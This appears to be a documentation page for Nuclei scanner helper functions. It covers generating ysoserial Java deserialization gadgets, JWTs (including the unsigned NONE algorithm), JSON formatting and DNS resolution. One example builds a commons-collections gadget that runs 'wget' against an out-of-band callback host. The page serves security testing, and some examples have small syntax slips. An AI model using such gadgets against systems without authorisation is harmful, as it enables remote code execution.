Helper Functions

Here is the list of all supported helper functions can be used in the RAW requests / Network requests.

​

Deserialization helper functions

Nuclei allows payload generation for a few common gadget from ysoserial.

Supported Payload:

• dns (URLDNS)
• commons-collections3.1
• commons-collections4.0
• jdk7u21
• jdk8u20
• groovy1

Supported encodings:

• base64 (default)
• gzip-base64
• gzip
• hex
• raw

Deserialization helper function format:

{ { generate_java_gadget(payload, cmd, encoding } }

Deserialization helper function example:

{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}

​

JSON helper functions

Nuclei allows manipulate JSON strings in different ways, here is a list of its functions:

• generate_jwt, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm.
• json_minify, to minifies a JSON string by removing unnecessary whitespace.
• json_prettify, to prettifies a JSON string by adding indentation.

Examples

generate_jwt

To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, at least.

Here is a list of supported algorithms for generating JWTs with generate_jwt function (case-insensitive):

• HS256
• HS384
• HS512
• RS256
• RS384
• RS512
• PS256
• PS384
• PS512
• ES256
• ES384
• ES512
• EdDSA
• NONE

Empty string ("") also means NONE.

Format:

{ { generate_jwt(json, algorithm, signature, maxAgeUnix) } }

Arguments other than json are optional.

Example:

variables:
  json: | # required
    {
      "foo": "bar",
      "name": "John Doe"
    }
  alg: "HS256" # optional
  sig: "this_is_secret" # optional
  age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # optional
  jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}'

The maxAgeUnix argument is to set the expiration "exp" JWT standard claim, as well as the "iat" claim when you call the function.

json_minify

Format:

{ { json_minify(json) } }

Example:

variables:
  json: |
    {
      "foo": "bar",
      "name": "John Doe"
    }
  minify: "{{json_minify(json}}"

minify variable output:

{ "foo": "bar", "name": "John Doe" }

json_prettify

Format:

{ { json_prettify(json) } }

Example:

variables:
  json: '{"foo":"bar","name":"John Doe"}'
  pretty: "{{json_prettify(json}}"

pretty variable output:

{
  "foo": "bar",
  "name": "John Doe"
}

resolve

Format:

{ { resolve(host, format) } }

Here is a list of formats available for dns type:

• 4 or a
• 6 or aaaa
• cname
• ns
• txt
• srv
• ptr
• mx
• soa
• caa

​

Examples